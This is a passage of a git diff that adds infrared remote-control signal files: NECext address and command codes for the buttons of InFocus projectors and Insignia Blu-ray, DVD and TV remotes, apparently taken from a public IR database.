00 +# +name: LETTERBOX_RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3E 00 00 00 +# +name: NATURAL_WIDE_RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3F 00 00 00 +# +name: NATURAL_WIDE_RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3F 00 00 00 +# +name: USER_PRESET_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 40 00 00 00 +# +name: USER_PRESET_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 41 00 00 00 +# +name: USER_PRESET_3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 42 00 00 00 +# +name: LEVEL_^ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 80 00 00 00 +# +name: CONT_^ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 81 00 00 00 +# +name: WINDOW_^ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 82 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 83 00 00 00 +# +name: LEVEL_V +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 84 00 00 00 +# +name: CONT_V +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 85 00 00 00 +# +name: WINDOW_V +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 86 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 87 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 88 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 8B 00 00 00 +# +name: GRAB +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 8F 00 00 00 +# +name: PRESENT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 90 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 91 00 00 00 +# +name: TOOLS +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 92 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 93 00 00 00 +# +name: UP_LEFT_CORNER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 94 00 00 00 +# +name: UP_(^) +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 95 00 00 00 +# +name: UP_RIGHT_CORNER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 96 00 00 00 +# +name: ESC +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 97 00 00 00 +# +name: LEFT_(<) +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 98 00 00 00 +# +name: RIGHT_(>) +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 9A 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 9B 00 00 00 +# +name: REAR_LEFT_CORNER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 9C 00 00 00 +# +name: DOWN_(V) +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 9D 00 00 00 +# +name: REAR_RIGHT_CORNER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 9E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir new file mode 100644 index 000000000..7ddef0df4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: ANT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0C 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: GO_BACK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 56 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 57 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 58 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 59 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 90 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C3 00 00 00 +# +name: CH_CONTROL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E5 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir new file mode 100644 index 000000000..61d9cecb9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0F 00 00 00 +# +name: STANDBY_(ON/OFF) +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 10 00 00 00 +# +name: LITE_SHOW +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 11 00 00 00 +# +name: NEXT_^ +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 12 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 17 00 00 00 +# +name: FREEZE_ESC +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 18 00 00 00 +# +name: MENU_EDIT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 19 00 00 00 +# +name: MIC_> +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1B 00 00 00 +# +name: MUTE_< +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1D 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1E 00 00 00 +# +name: PREV_V +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir new file mode 100644 index 000000000..36f77b814 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 03 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 07 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 0E 00 00 00 +# +name: SOURCE_SELECT +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 10 00 00 00 +# +name: CURSOR_+ +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 13 00 00 00 +# +name: CURSOR_- +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 17 00 00 00 +# +name: KEYSTONE_+ +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 20 00 00 00 +# +name: KEYSTONE_- +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 21 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 2C 00 00 00 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 2D 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 2E 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 2F 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 30 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 31 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 32 00 00 00 +# +name: AUTO_IMAGE +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 33 00 00 00 +# +name: RESIZE +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 34 00 00 00 +# +name: OVERSCAN +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 35 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 36 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 37 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 3A 00 00 00 +# +name: NATIVE_RESIZE +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 3B 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 3C 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 3D 00 00 00 +# +name: LETTERBOX +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 3E 00 00 00 +# +name: NATURAL_WIDE_RESIZE +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 3F 00 00 00 +# +name: USER_PRESET_1 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 40 00 00 00 +# +name: USER_PRESET_2 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 41 00 00 00 +# +name: USER_PRESET_3 +type: parsed +protocol: NECext +address: 4E 87 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir new file mode 100644 index 000000000..06220f919 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 02 00 00 00 +# +name: DISP_MODE +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 06 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 07 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 0A 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 0C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 11 00 00 00 +# +name: KEYSTONE_+ +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 13 00 00 00 +# +name: KEYSTONE_- +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 14 00 00 00 +# +name: RESYNC +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 15 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 16 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 17 00 00 00 +# +name: SOURCE-LOCK +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 1B 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 1C 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 1D 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 1E 00 00 00 +# +name: AV_MUTE +type: parsed +protocol: NECext +address: 50 4F 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir b/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir new file mode 100644 index 000000000..3353c9b5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 06 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 09 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 0A 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 0B 00 00 00 +# +name: POP_UP_MENU +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 0C 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 0D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 0F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 11 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 13 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 15 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 19 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 1A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 1A 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 1C 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 1D 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 1E 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 1F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 24 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 26 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 27 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 2A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 2C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 2E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 30 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 32 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 34 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 36 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 3A 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 3C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 3E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 3F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 40 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 45 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 85 ED 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir b/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir new file mode 100644 index 000000000..115cc34b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: GREEN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 3E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 41 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 42 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 43 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 44 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 45 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 46 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 47 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 48 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 49 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 50 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 51 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 52 00 00 00 +# +name: FFW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 55 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 57 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 58 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5B 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5C 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5E 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 60 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 70 00 00 00 +# +name: POP_MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 71 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 72 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 73 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 74 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 75 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 76 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 77 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 78 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 79 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7B 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 8A 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 8B 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir b/assets/resources/infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir new file mode 100644 index 000000000..115cc34b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: GREEN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 3E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 41 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 42 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 43 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 44 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 45 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 46 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 47 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 48 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 49 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 50 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 51 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 52 00 00 00 +# +name: FFW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 55 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 57 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 58 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5B 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5C 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5E 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 60 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 70 00 00 00 +# +name: POP_MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 71 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 72 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 73 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 74 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 75 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 76 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 77 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 78 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 79 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7B 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 8A 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 8B 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/TV/134,5.ir b/assets/resources/infrared/_CSV-IRDB_/Insignia/TV/134,5.ir new file mode 100644 index 000000000..a1ac71ad8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Insignia/TV/134,5.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 09 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0B 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F 00 00 00 +# +name: MTS/SAP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 11 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 15 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 16 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: 